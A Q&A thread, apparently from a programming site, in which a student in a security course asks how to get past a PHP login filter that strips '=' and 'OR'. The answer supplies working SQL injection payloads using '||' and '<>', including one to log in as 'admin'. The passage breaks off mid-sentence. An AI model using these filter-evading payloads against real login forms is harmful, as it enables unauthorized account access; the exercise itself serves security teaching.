phpmysqlsqlsql-injectioninput-filtering

SQL injection with php filtering


I have to inject a login form for exercise about a computer security course .... I have passed the first level using the simple

' like 1=1--

in the password field, but now in the second level i have to inject again the same login form with the same source code except for the fact that user and pwd are being controlled by a function called lvl2_filter() which i think is part of filters.php and do not accept "=" and "OR"

How can i do it ???

both username and password field cannot be empty

include_once 'filters.php';
include_once 'config.php';
?>

<?php
$user = lvl2_filter($_REQUEST['user']);
$pwd = lvl2_filter($_REQUEST['pwd']);
$token = $_COOKIE["token_sqli2"];

if (empty($token) || !check_token($token)){
echo "<h1>You need to be logged in!</h1><br>";
}

if (!empty($user) && !empty($pwd)) {
$query = "SELECT user_id FROM users WHERE username='$user' and password='$pwd'";
$result = mysqli_query($db,$query);
if ($result && mysqli_num_rows($result)>0) { 
  echo "Hi $user, you are logged in.";
  verify_user($token, $user);
}
else echo "sorry, invalid username or password"; 
}
else { ?>

Solution

  • Assuming this definition of lvl2_filter, which basically removes any occurrence of = and or until no longer found, it should still be possible to use the logical OR operation with || instead of OR and a simple expression that evaluates to true like:

    username: dummy
    password: ' || '1
    

    This would result in:

    SELECT user_id FROM users WHERE username='dummy' and password='' || '1'
    

    For selecting a specific user, one can use the rules of boolean algebra, where x=y = !(x!=y):

    username: dummy
    password: ' || NOT(username<>'admin') AND '1
    

    This would result in:

    SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'
    

    Here <> is equivalent to != but doesn’t contain a =.

    There are also other operations that one could use ensure username equals admin: